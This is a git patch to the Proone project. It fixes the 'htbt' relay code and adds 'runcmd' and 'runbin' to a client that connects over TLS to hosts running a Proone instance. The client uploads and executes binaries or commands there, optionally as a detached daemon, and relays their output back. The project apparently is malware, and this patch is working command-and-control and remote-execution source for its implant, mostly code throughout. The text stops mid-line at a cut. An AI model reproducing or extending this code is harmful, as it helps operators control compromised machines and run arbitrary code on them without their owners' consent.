From 5c70a63e02ae26bdfae14444d91f5f96bf74f505 Mon Sep 17 00:00:00 2001 From: David Timber Date: Wed, 14 Jul 2021 11:06:56 +1000 Subject: Impl proone-htbtclient, htbt bugfixes ... * htbt * Fix stdout-stderr round-robin sending algo in htbt_relay_child() * Fix logic error and crash bug in htbt_slv_srv_bin() * Impl proone-htbtclient runcmd command * Change signature of prne_htbt_set_cmd() --- src/htbt.c | 188 +++++++++------- src/proone-htbtclient.c | 562 +++++++++++++++++++++++++++++++++++++++++++----- src/proone-test_proto.c | 12 +- src/protocol.c | 6 +- src/protocol.h | 3 +- 5 files changed, 629 insertions(+), 142 deletions(-) diff --git a/src/htbt.c b/src/htbt.c index 87cc852..2081c7f 100644 --- a/src/htbt.c +++ b/src/htbt.c @@ -368,12 +368,13 @@ static prne_htbt_status_code_t htbt_relay_child ( pfd[2].events = 0; } - pfd[3].events = 0; - pfd[4].events = 0; - if (ctx->iobuf[1].len == 0) { - if (pfd[3 + out_p].fd < 0) { - out_p = (out_p + 1) % 2; - } + if (ctx->iobuf[1].len == 0 && sh[1].len == 0) { + pfd[3].events = pfd[4].events = POLLIN; + } + else if (ctx->iobuf[1].len > 0) { + pfd[3].events = pfd[4].events = 0; + } + else if (sh[1].len) { pfd[3 + out_p].events = POLLIN; } @@ -399,44 +400,6 @@ static prne_htbt_status_code_t htbt_relay_child ( } // Handle events - if (!sh[0].fin && sh[0].len == 0) { - do { - if (prne_htbt_dser_msg_head( - ctx->iobuf[0].m, - ctx->iobuf[0].len, - &actual, - &mh) != PRNE_HTBT_SER_RC_OK) - { - break; - } - consume = actual; - if (mh.id != msg_id || - mh.is_rsp || - mh.op != PRNE_HTBT_OP_STDIO) - { - sh[0].fin = true; - break; - } - if (prne_htbt_dser_stdio( - ctx->iobuf[0].m + consume, - ctx->iobuf[0].len - consume, - &actual, - sh + 0) != PRNE_HTBT_SER_RC_OK) - { - break; - } - consume += actual; - prne_iobuf_shift(ctx->iobuf + 0, -consume); - } while (false); - - if (sh[0].len == 0 && pfd[0].fd < 0) { - // There's still pending stdin data and EOF. - // This is proto err. - ret = PRNE_HTBT_STATUS_PROTO_ERR; - break; - } - } - if (pfd[0].revents) { f_ret = ctx->read_f( ctx->ioctx, @@ -470,37 +433,21 @@ static prne_htbt_status_code_t htbt_relay_child ( } else { sh[1].len -= f_ret; - if (sh[1].len == 0) { - out_p = (out_p + 1) % 2; - } } } } - consume = prne_op_min(ctx->iobuf[0].len, sh[0].len); - if (pfd[2].fd < 0 && sh[0].len > 0) { - // Stdin data coming in, but the child has already closed stdin - prne_iobuf_shift(ctx->iobuf + 0, -consume); - sh[0].len -= consume; - } - else if (pfd[2].revents) { - f_ret = write(*c_in, ctx->iobuf[0].m, consume); - if (f_ret > 0) { - consume = f_ret; + if (ctx->iobuf[1].len == 0 && sh[1].len == 0) { + if (pfd[3].revents && pfd[4].revents) { + // round-robin stdout and stderr + out_p = (out_p + 1) % 2; } - else { - pfd[2].fd = -1; + else if (pfd[3].revents) { + out_p = 0; + } + else if (pfd[4].revents) { + out_p = 1; } - - prne_iobuf_shift(ctx->iobuf + 0, -consume); - sh[0].len -= consume; - } - - if (sh[0].fin && sh[0].len == 0 && pfd[2].fd >= 0) { - // End of stdin stream - close(*c_in); - *c_in = -1; - pfd[2].fd = -1; } if (pfd[3 + out_p].revents) { @@ -548,6 +495,70 @@ static prne_htbt_status_code_t htbt_relay_child ( prne_iobuf_shift(ctx->iobuf + 1, f_ret); } } + + if (!sh[0].fin && sh[0].len == 0) { + do { + if (prne_htbt_dser_msg_head( + ctx->iobuf[0].m, + ctx->iobuf[0].len, + &actual, + &mh) != PRNE_HTBT_SER_RC_OK) + { + break; + } + consume = actual; + if (mh.id != msg_id || + mh.is_rsp || + mh.op != PRNE_HTBT_OP_STDIO) + { + sh[0].fin = true; + break; + } + if (prne_htbt_dser_stdio( + ctx->iobuf[0].m + consume, + ctx->iobuf[0].len - consume, + &actual, + sh + 0) != PRNE_HTBT_SER_RC_OK) + { + break; + } + consume += actual; + prne_iobuf_shift(ctx->iobuf + 0, -consume); + } while (false); + + if (sh[0].len == 0 && pfd[0].fd < 0) { + // There's still pending stdin data and EOF. + // This is proto err. + ret = PRNE_HTBT_STATUS_PROTO_ERR; + break; + } + } + + consume = prne_op_min(ctx->iobuf[0].len, sh[0].len); + if (pfd[2].fd < 0 && sh[0].len > 0) { + // Stdin data coming in, but the child has already closed stdin + prne_iobuf_shift(ctx->iobuf + 0, -consume); + sh[0].len -= consume; + } + else if (pfd[2].revents) { + f_ret = write(*c_in, ctx->iobuf[0].m, consume); + if (f_ret > 0) { + consume = f_ret; + } + else { + pfd[2].fd = -1; + } + + prne_iobuf_shift(ctx->iobuf + 0, -consume); + sh[0].len -= consume; + } + + if (sh[0].fin && sh[0].len == 0 && pfd[2].fd >= 0) { + // End of stdin stream + close(*c_in); + *c_in = -1; + pfd[2].fd = -1; + } } prne_htbt_free_stdio(sh + 0); @@ -871,6 +882,9 @@ static void htbt_slv_fab_frame ( prne_assert(req <= ctx->iobuf[1].size); htbt_slv_consume_outbuf(ctx, req, ev); + if (!ctx->valid) { + return; + } if (PRNE_VERBOSE >= PRNE_VL_DBG0) { #if PRNE_DEBUG @@ -1176,14 +1190,14 @@ static bool htbt_slv_srv_bin ( pfd.fd = ctx->fd[0]; pfd.events = POLLIN; - while (bin_meta.bin_size > 0) { + while (bin_meta.bin_size > 0 || ctx->iobuf[0].len > 0) { pth_event_free(ev, FALSE); ev = pth_event( PTH_EVENT_TIME, prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT)); prne_assert(ev != NULL); - if (ctx->iobuf[0].len == 0) { + if (bin_meta.bin_size > 0 && ctx->iobuf[0].avail > 0) { f_ret = prne_pth_poll(&pfd, 1, -1, ev); if (pth_event_status(ev) == PTH_STATUS_OCCURRED || f_ret == 0) @@ -1196,27 +1210,35 @@ static bool htbt_slv_srv_bin ( if (pfd.revents) { f_ret = ctx->read_f( ctx->ioctx, - ctx->iobuf[0].m, - ctx->iobuf[0].avail); + ctx->iobuf[0].m + ctx->iobuf[0].len, + prne_op_min(bin_meta.bin_size, ctx->iobuf[0].avail)); if (f_ret <= 0) { if (f_ret < 0) { ctx->valid = false; } goto PROTO_ERR; } + if (PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": < bin dl %d bytes.\n", + (uintptr_t)ctx, + f_ret); + } prne_iobuf_shift(ctx->iobuf + 0, f_ret); + bin_meta.bin_size -= f_ret; } } - actual = prne_op_min(bin_meta.bin_size, ctx->iobuf[0].len); - // This blocks! - f_ret = write(fd, ctx->iobuf[0].m, actual); - prne_iobuf_shift(ctx->iobuf + 0, -actual); - bin_meta.bin_size -= actual; - if (f_ret < 0) { - ret_status = PRNE_HTBT_STATUS_ERRNO; - ret_errno = errno; - goto SND_STATUS; + if (ctx->iobuf[0].len > 0) { + // This blocks! + f_ret = write(fd, ctx->iobuf[0].m, ctx->iobuf[0].len); + if (f_ret < 0) { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = errno; + ctx->skip += bin_meta.bin_size; + goto SND_STATUS; + } + prne_iobuf_shift(ctx->iobuf + 0, -f_ret); } } close(fd); @@ -1268,7 +1290,7 @@ SND_STATUS: END: ctx->skip = bin_meta.bin_size; prne_htbt_free_bin_meta(&bin_meta); - if (path[0] != 0) { + if (path != NULL && path[0] != 0) { unlink(path); } prne_free(path); diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index de4d24e..1f855e0 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -1,5 +1,6 @@ /* * No pipelining assumed. +* Don't handle SIGPIPE. */ #include #include @@ -14,8 +15,10 @@ #include #include #include +#include #include #include +#include #include #include @@ -86,6 +89,13 @@ "If only one of the IP addresses is specified, the other will be zero-filled,\n"\ "disabling the use of that IP version(as per RFC1122 abnd RFC4291).\n"\ "\n" +#define RUNCMD_HELP_STR \ +"Run command on host running Proone instance.\n"\ +"Usage: %s [common options] runcmd [options] [--] [arg1 ...]\n"\ +"\n"\ +"Options:\n"\ +" -d, --detach run detached(i.e., run as daemon)\n"\ +"\n" enum sub_command { SC_NONE, @@ -111,7 +121,17 @@ struct { bool version; // -V or --version used bool tls_key_pw_arg; // true if tls_key_pw is passed via option bool no_term; // true if terminal interaction is not permitted - prne_htbt_hover_t hover_param; + union { + struct { + prne_htbt_hover_t f; + } hover; + struct { + char *bin_path; + prne_htbt_bin_meta_t bm; + bool detached; + } run; + } cmd_param; + void (*free_cmdparam_f)(void); } prog_conf; struct { @@ -126,11 +146,19 @@ struct { } ssl; struct { mbedtls_net_context ctx; - prne_iobuf_t ib[2]; + prne_iobuf_t ib; } net; struct { yaml_emitter_t *emitter; } yaml; + union { + struct { + prne_iobuf_t ib; + prne_htbt_status_t st; + bool has_status; + } run; + } cmd_st; + void (*free_cmdst_f)(void); } prog_g; static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) { @@ -141,12 +169,15 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) { case SC_HOVER: fprintf(out_f, HOVER_HELP_STR, prog); break; + case SC_RUNCMD: + fprintf(out_f, RUNCMD_HELP_STR, prog); + break; + // TODO default: fprintf(out_f, MAIN_HELP_STR, prog, prog); } } static void init_prog_g (void) { - bool alloc_ret = true; prne_memzero(&prog_g, sizeof(prog_g)); // so main() is recallable mbedtls_ssl_config_init(&prog_g.ssl.conf); @@ -158,33 +189,69 @@ static void init_prog_g (void) { mbedtls_ssl_init(&prog_g.ssl.ctx); mbedtls_net_init(&prog_g.net.ctx); - prne_init_iobuf(prog_g.net.ib + 0); - prne_init_iobuf(prog_g.net.ib + 1); - alloc_ret &= prne_alloc_iobuf( - prog_g.net.ib + 0, - prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())); - alloc_ret &= prne_alloc_iobuf( - prog_g.net.ib + 1, - prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())); - if (!alloc_ret) { + prne_init_iobuf(&prog_g.net.ib); + if (!prne_alloc_iobuf( + &prog_g.net.ib, + prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()))) + { perror("prne_alloc_iobuf()"); abort(); } } +static void free_run_g (void) { + prne_free_iobuf(&prog_g.cmd_st.run.ib); + prne_htbt_free_status(&prog_g.cmd_st.run.st); +} + +static void init_run_g (void) { + assert(prog_g.free_cmdst_f == NULL); + prne_init_iobuf(&prog_g.cmd_st.run.ib); + prne_htbt_init_status(&prog_g.cmd_st.run.st); + assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize())); + prog_g.free_cmdst_f = free_run_g; +} + static void deinit_prog_g (void) { // TODO + if (prog_g.free_cmdst_f != NULL) { + prog_g.free_cmdst_f(); + } } static void init_prog_conf (void) { prne_memzero(&prog_conf, sizeof(prog_conf)); // so main() is recallable - prog_conf.remote_port = prne_dup_str(STRINGIFY_X(PRNE_HTBT_PROTO_PORT)); - prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port = + prog_conf.prne_vl = PRNE_VL_INFO; +} + +static void free_hover_conf (void) { + prne_htbt_free_hover(&prog_conf.cmd_param.hover.f); +} + +static void init_hover_conf (void) { + assert(prog_conf.free_cmdparam_f == NULL); + prne_htbt_init_hover(&prog_conf.cmd_param.hover.f); + prog_conf.cmd_param.hover.f.v4.port = + prog_conf.cmd_param.hover.f.v6.port = PRNE_HTBT_PROTO_PORT; + + prog_conf.free_cmdparam_f = free_hover_conf; +} + +static void free_run_cmd (void) { + prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm); +} + +static void init_run_conf (void) { + prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm); + prog_conf.free_cmdparam_f = free_run_cmd; } static void deinit_prog_conf (void) { + if (prog_conf.free_cmdparam_f != NULL) { + prog_conf.free_cmdparam_f(); + } prne_free(prog_conf.tls_ca); prne_free(prog_conf.tls_cert); prne_free(prog_conf.tls_key); @@ -270,6 +337,7 @@ static int parse_args_hover (const int argc, char *const *args) { if (!assert_host_arg()) { return 2; } + init_hover_conf(); while (true) { f_ret = getopt_long(argc, args, "", lopts, &li); @@ -280,7 +348,7 @@ static int parse_args_hover (const int argc, char *const *args) { errno = 0; if (inet_pton(AF_INET, optarg, - prog_conf.hover_param.v4.addr) == 0) + prog_conf.cmd_param.hover.f.v4.addr) == 0) { ipton_perror("--v4-addr"); return 2; @@ -291,7 +359,7 @@ static int parse_args_hover (const int argc, char *const *args) { errno = 0; if (inet_pton(AF_INET6, optarg, - prog_conf.hover_param.v6.addr) == 0) + prog_conf.cmd_param.hover.f.v6.addr) == 0) { ipton_perror("--v6-addr"); return 2; @@ -305,17 +373,18 @@ static int parse_args_hover (const int argc, char *const *args) { p_invarg("--port"); return 2; } - prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port = + prog_conf.cmd_param.hover.f.v4.port = + prog_conf.cmd_param.hover.f.v6.port = port; } else if (strcmp("v4-port", cur_lo->name) == 0) { - if (!parse_port(optarg, &prog_conf.hover_param.v4.port)) { + if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v4.port)) { p_invarg("--v4-port"); return 2; } } else if (strcmp("v6-port", cur_lo->name) == 0) { - if (!parse_port(optarg, &prog_conf.hover_param.v6.port)) { + if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v6.port)) { p_invarg("--v6-port"); return 2; } @@ -337,19 +406,68 @@ static int parse_args_hover (const int argc, char *const *args) { return 0; } -static int parse_args_runcmd (const int argc, char *const *args) { +static int parse_args_run (const int argc, char *const *args, const bool bin) { + static const struct option lopts[] = { + { "detach", no_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + int li, f_ret; + const struct option *co; + if (!assert_host_arg()) { return 2; } - // TODO - return 0; -} + init_run_conf(); + init_run_g(); -static int parse_args_runbin (const int argc, char *const *args) { - if (!assert_host_arg()) { + while (true) { + f_ret = getopt_long(argc, args, "+d", lopts, &li); + switch (f_ret) { + case 0: + co = (const struct option*)lopts + li; + if (strcmp("detach", co->name) == 0) { + prog_conf.cmd_param.run.detached = true; + } + else { + abort(); + } + break; + case 'd': + prog_conf.cmd_param.run.detached = true; + break; + default: + goto LOOP_END; + } + } +LOOP_END: + if (bin) { + if (argc <= optind) { + fprintf(stderr, "Path to BIN not specified.\n"); + return 2; + } + + prne_free(prog_conf.cmd_param.run.bin_path); + prog_conf.cmd_param.run.bin_path = prne_dup_str(args[optind]); + if (prog_conf.cmd_param.run.bin_path == NULL) { + perror("prne_dup_str()"); + abort(); + } + + optind += 1; + } + + if (!bin && argc - optind <= 0) { + fprintf(stderr, "No argument specified.\n"); return 2; } - // TODO + if (!prne_htbt_set_cmd( + &prog_conf.cmd_param.run.bm.cmd, + (const char**)args + optind)) + { + perror("prne_htbt_set_cmd()"); + abort(); + } + return 0; } @@ -492,8 +610,8 @@ END_LOOP: switch (prog_conf.cmd) { case SC_HOSTINFO: ret = parse_args_hostinfo(argc, args); break; case SC_HOVER: ret = parse_args_hover(argc, args); break; - case SC_RUNCMD: ret = parse_args_runcmd(argc, args); break; - case SC_RUNBIN: ret = parse_args_runbin(argc, args); break; + case SC_RUNCMD: ret = parse_args_run(argc, args, false); break; + case SC_RUNBIN: ret = parse_args_run(argc, args, true); break; case SC_NYBIN: ret = parse_args_nybin(argc, args); break; case SC_GETBIN: ret = parse_args_getbin(argc, args); break; default: fprintf(stderr, "COMMAND not specified.\n"); @@ -860,10 +978,10 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) { size_t actual; prne_htbt_ser_rc_t rc; - prne_iobuf_reset(prog_g.net.ib + 1); + prne_iobuf_reset(&prog_g.net.ib); rc = ser_f( - prog_g.net.ib[1].m, - prog_g.net.ib[1].avail, + prog_g.net.ib.m, + prog_g.net.ib.avail, &actual, frame); switch (rc) { @@ -875,13 +993,13 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) { fprintf(stderr, "prne_htbt_ser_ft(): %s\n", prne_htbt_serrc_tostr(rc)); return false; } - prne_iobuf_shift(prog_g.net.ib + 1, actual); + prne_iobuf_shift(&prog_g.net.ib, actual); - while (prog_g.net.ib[1].len > 0) { + while (prog_g.net.ib.len > 0) { f_ret = mbedtls_ssl_write( &prog_g.ssl.ctx, - prog_g.net.ib[1].m, - prog_g.net.ib[1].len); + prog_g.net.ib.m, + prog_g.net.ib.len); if (f_ret == 0) { raise_proto_err("remote end shutdown read"); return false; @@ -890,26 +1008,30 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) { prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()"); return false; } - prne_iobuf_shift(prog_g.net.ib + 1, -f_ret); + prne_iobuf_shift(&prog_g.net.ib, -f_ret); } return true; } +static bool send_mh (const prne_htbt_msg_head_t *mh) { + return send_frame(mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head); +} + static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) { size_t actual; prne_htbt_ser_rc_t rc; int f_ret; while (true) { - rc = dser_f(prog_g.net.ib[0].m, prog_g.net.ib[0].len, &actual, frame); + rc = dser_f(prog_g.net.ib.m, prog_g.net.ib.len, &actual, frame); switch (rc) { case PRNE_HTBT_SER_RC_OK: - prne_iobuf_shift(prog_g.net.ib + 0, -actual); + prne_iobuf_shift(&prog_g.net.ib, -actual); return true; case PRNE_HTBT_SER_RC_MORE_BUF: - assert(actual <= prog_g.net.ib[0].size); + assert(actual <= prog_g.net.ib.size); break; case PRNE_HTBT_SER_RC_ERRNO: perror("dser_f()"); @@ -923,8 +1045,8 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) { f_ret = mbedtls_ssl_read( &prog_g.ssl.ctx, - prog_g.net.ib[0].m + prog_g.net.ib[0].len, - prog_g.net.ib[0].avail); + prog_g.net.ib.m + prog_g.net.ib.len, + actual); if (f_ret == 0) { raise_proto_err("remote end shutdown write"); return false; @@ -933,7 +1055,7 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) { prne_mbedtls_perror(f_ret, "mbedtls_ssl_read()"); return false; } - prne_iobuf_shift(prog_g.net.ib + 0, f_ret); + prne_iobuf_shift(&prog_g.net.ib, f_ret); } } @@ -954,6 +1076,10 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) { return true; } +static bool recv_status (prne_htbt_status_t *st) { + return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status); +} + static void emit_status_frame (const prne_htbt_status_t *st) { emit_scalar(YAML_STR_TAG, BODY_TAG_NAME); @@ -1193,7 +1319,7 @@ static int cmdmain_hostinfo (void) { goto END; } - if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head)) { + if (!send_mh(&mh)) { ret = 1; goto END; } @@ -1213,7 +1339,7 @@ static int cmdmain_hostinfo (void) { break; case PRNE_HTBT_OP_STATUS: ret = 1; - if (recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) { + if (recv_status(&st)) { start_yaml(); emit_preemble("hostinfo", "status", NULL); emit_status_frame(&st); @@ -1240,7 +1366,7 @@ static void emit_hover_opts (void) { emit_scalar(YAML_STR_TAG, "v4_addr"); if (inet_ntop( AF_INET, - prog_conf.hover_param.v4.addr, + prog_conf.cmd_param.hover.f.v4.addr, addr_str, sizeof(addr_str)) == NULL) { @@ -1249,11 +1375,14 @@ static void emit_hover_opts (void) { } emit_scalar(YAML_STR_TAG, addr_str); emit_scalar(YAML_STR_TAG, "v4_port"); - emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v4.port); + emit_scalar_fmt( + YAML_INT_TAG, + "%"PRIu16, + prog_conf.cmd_param.hover.f.v4.port); emit_scalar(YAML_STR_TAG, "v6_addr"); if (inet_ntop( AF_INET6, - prog_conf.hover_param.v6.addr, + prog_conf.cmd_param.hover.f.v6.addr, addr_str, sizeof(addr_str)) == NULL) { @@ -1262,10 +1391,337 @@ static void emit_hover_opts (void) { } emit_scalar(YAML_STR_TAG, addr_str); emit_scalar(YAML_STR_TAG, "v6_port"); - emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v6.port); + emit_scalar_fmt( + YAML_INT_TAG, + "%"PRIu16, + prog_conf.cmd_param.hover.f.v6.port); emit_mapping_end(); } +static bool run_setup (const uint16_t msgid) { + bool ret = true; + int bin_fd = -1; + int f_ret; + struct stat fs; + void *f; + prne_htbt_ser_ft ser_f; + ssize_t io_ret; + prne_htbt_msg_head_t mh; + + prne_htbt_init_msg_head(&mh); + mh.id = msgid; + mh.is_rsp = false; + + if (prog_conf.cmd_param.run.bin_path != NULL) { + bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY); + if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) { + ret = false; + perror(prog_conf.cmd_param.run.bin_path); + goto END; + } + if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) { + errno = EFBIG; + ret = false; + perror(prog_conf.cmd_param.run.bin_path); + goto END; + } + + prog_conf.cmd_param.run.bm.bin_size = (uint32_t)fs.st_size; + mh.op = PRNE_HTBT_OP_RUN_BIN; + f = &prog_conf.cmd_param.run.bm; + ser_f = (prne_htbt_ser_ft)prne_htbt_ser_bin_meta; + } + else { + mh.op = PRNE_HTBT_OP_RUN_CMD; + f = &prog_conf.cmd_param.run.bm.cmd; + ser_f = (prne_htbt_ser_ft)prne_htbt_ser_cmd; + fs.st_size = 0; + } + + ret = send_mh(&mh) && send_frame(f, ser_f); + if (!ret) { + goto END; + } + prne_iobuf_reset(&prog_g.cmd_st.run.ib); + while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) { + if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) { + io_ret = read( + bin_fd, + prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len, + prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail)); + if (io_ret == 0) { + ret = false; + fprintf(stderr, "Unexpected EOF whilst reading binary!\n"); + goto END; + } + if (io_ret < 0) { + ret = false; + perror("read()"); + goto END; + } + + prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret); + fs.st_size -= io_ret; + } + + f_ret = mbedtls_ssl_write( + &prog_g.ssl.ctx, + prog_g.cmd_st.run.ib.m, + prog_g.cmd_st.run.ib.len); + if (f_ret == 0) { + ret = false; + raise_proto_err("remote end shutdown read"); + goto END; + } + if (f_ret < 0) { + ret = false; + prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()"); + goto END; + } + if (prog_conf.prne_vl >= PRNE_VL_DBG0) { + fprintf(stderr, "run bin upload %d bytes.\n", f_ret); + } + prne_iobuf_shift(&prog_g.cmd_st.run.ib, -f_ret); + } + +END: + prne_close(bin_fd); + prne_htbt_free_msg_head(&mh); + return ret; +} + +static bool run_sendstd (const uint16_t msgid, int *fd) { + bool ret = true; + prne_htbt_msg_head_t mh; + prne_htbt_stdio_t f; + ssize_t io_ret; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_stdio(&f); + mh.id = msgid; + mh.is_rsp = false; + mh.op = PRNE_HTBT_OP_STDIO; + + prne_iobuf_reset(&prog_g.cmd_st.run.ib); + io_ret = read( + *fd, + prog_g.cmd_st.run.ib.m, + prog_g.cmd_st.run.ib.avail); + if (io_ret < 0) { + ret = false; + perror("read()"); + goto END; + } + if (io_ret == 0) { + *fd = -1; + f.fin = true; + ret = + send_mh(&mh) && + send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio); + goto END; + } + prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret); + + f.len = io_ret; + ret = + send_mh(&mh) && + send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio); + if (!ret) { + goto END; + } + while (prog_g.cmd_st.run.ib.len > 0) { + io_ret = mbedtls_ssl_write( + &prog_g.ssl.ctx, + prog_g.cmd_st.run.ib.m, + prog_g.cmd_st.run.ib.len); + if (io_ret == 0) { + ret = false; + raise_proto_err("remote end shutdown read"); + goto END; + } + if (io_ret < 0) { + prne_mbedtls_perror((int)io_ret, "mbedtls_ssl_write()"); + goto END; + } + + prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret); + } + +END: + prne_htbt_free_msg_head(&mh); + prne_htbt_free_stdio(&f); + return ret; +} + +static bool run_relay_stdout (prne_htbt_stdio_t *f) { + ssize_t io_ret; + + prne_iobuf_reset(&prog_g.cmd_st.run.ib); + while (f->len > 0 || prog_g.cmd_st.run.ib.len > 0) { + if (f->len > 0 && prog_g.cmd_st.run.ib.avail > 0) { + io_ret = mbedtls_ssl_read( + &prog_g.ssl.ctx, + prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len, + prne_op_min(f->len, prog_g.cmd_st.run.ib.avail)); + if (io_ret == 0) { + raise_proto_err("remote end shutdown write"); + return false; + } + if (io_ret < 0) { + prne_mbedtls_perror(io_ret, "mbedtls_ssl_read()"); + return false; + } + + f->len -= io_ret; + prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret); + } + if (prog_g.cmd_st.run.ib.len > 0) { + io_ret = write( // This is where the process will be killed on EPIPE + f->err ? STDERR_FILENO : STDOUT_FILENO, + prog_g.cmd_st.run.ib.m, + prog_g.cmd_st.run.ib.len); + assert(io_ret != 0); + if (io_ret < 0) { + perror("write()"); + return false; + } + + prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret); + } + } + + return true; +} + +static bool run_recvstd (const uint16_t msgid, int *fd) { + bool ret = true; + prne_htbt_msg_head_t mh; + prne_htbt_stdio_t f; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_stdio(&f); + + ret = recv_mh(&mh, &msgid); + if (!ret) { + goto END; + } + switch (mh.op) { + case PRNE_HTBT_OP_STATUS: + prog_g.cmd_st.run.has_status = ret = recv_status(&prog_g.cmd_st.run.st); + if (!ret) { + goto END; + } + break; + case PRNE_HTBT_OP_STDIO: + ret = + recv_frame(&f, (prne_htbt_dser_ft)prne_htbt_dser_stdio) && + run_relay_stdout(&f); + if (!ret) { + goto END; + } + break; + default: + ret = false; + raise_proto_err("invalid response op %"PRIx8"\n", mh.op); + goto END; + } + +END: + prne_htbt_free_msg_head(&mh); + prne_htbt_free_stdio(&f); + return ret; +} + +static bool run_relay (const uint16_t msgid) { + bool ret = true; + int f_ret; + struct pollfd pfd[2]; + + pfd[0].fd = STDIN_FILENO; + pfd[1].fd = prog_g.net.ctx.fd; + + while (pfd[0].fd >= 0 || pfd[1].fd >= 0) { + pfd[0].events = pfd[1].events = POLLIN; + + f_ret = poll(pfd, 2, -1); + if (f_ret < 0) { + ret = false; + perror("poll()"); + break; + } + assert(f_ret != 0); + + if (pfd[0].revents != 0 && !run_sendstd(msgid, &pfd[0].fd)) { + ret = false; + break; + } + if (pfd[1].revents != 0 && !run_recvstd(msgid, &pfd[1].fd)) { + ret = false; + break; + } + if (prog_g.cmd_st.run.has_status) { + break; + } + } + + return ret; +} + +static bool run_recv_status (const uint16_t msgid) { + prne_htbt_msg_head_t mh; + prne_htbt_status_t st; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&st); + + prog_g.cmd_st.run.has_status = + recv_mh(&mh, &msgid) && + recv_status(&st); + + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&st); + return prog_g.cmd_st.run.has_status; +} + +static int cmdmain_run (void) { + uint16_t msgid; + + msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); + + do { // fake + if (!do_connect()) { + break; + } + if (!run_setup(msgid)) { + break; + } + if (!prog_conf.cmd_param.run.detached && !run_relay(msgid)) { + break; + } + + if (!prog_g.cmd_st.run.has_status && !run_recv_status(msgid)) { + break; + } + + switch (prog_g.cmd_st.run.st.code) { + case PRNE_HTBT_STATUS_OK: + return prog_g.cmd_st.run.st.err; + case PRNE_HTBT_STATUS_ERRNO: + errno = prog_g.cmd_st.run.st.err; + perror("Error status"); + return 1; + default: + raise_proto_err( + "Invalid response: code=%"PRIx8", err=%"PRId32, + prog_g.cmd_st.run.st.code, + prog_g.cmd_st.run.st.err); + return 1; + } + } while (false); + + return 1; +} + static int cmdmain_hover (void) { int ret = 0; uint16_t msgid; @@ -1286,7 +1742,7 @@ static int cmdmain_hover (void) { if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) || !send_frame( - &prog_conf.hover_param, + &prog_conf.cmd_param.hover.f, (prne_htbt_ser_ft)prne_htbt_ser_hover)) { ret = 1; @@ -1302,7 +1758,7 @@ static int cmdmain_hover (void) { goto END; } - if (!recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) { + if (!recv_status(&st)) { ret = 1; goto END; } @@ -1345,9 +1801,13 @@ int main (const int argc, char *const *args) { } switch (prog_conf.cmd) { - // TODO case SC_HOSTINFO: ec = cmdmain_hostinfo(); break; case SC_HOVER: ec = cmdmain_hover(); break; + case SC_RUNCMD: + case SC_RUNBIN: + ec = cmdmain_run(); + break; + // TODO default: ec = 1; fprintf(stderr, "COMMAND not implemented.\n"); diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index 5f61a32..e8c0ef8 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -38,7 +38,7 @@ static void test_ser (void) { static size_t cred_data_len = 0; static prne_htbt_host_info_t hi_a, hi_b; static prne_htbt_cmd_t cmd_a, cmd_b; - static char *test_args[] = { + static const char *test_args[] = { "sudo", "systemctl", "enable", @@ -48,10 +48,10 @@ static void test_ser (void) { }; static char test_args_mem[] = 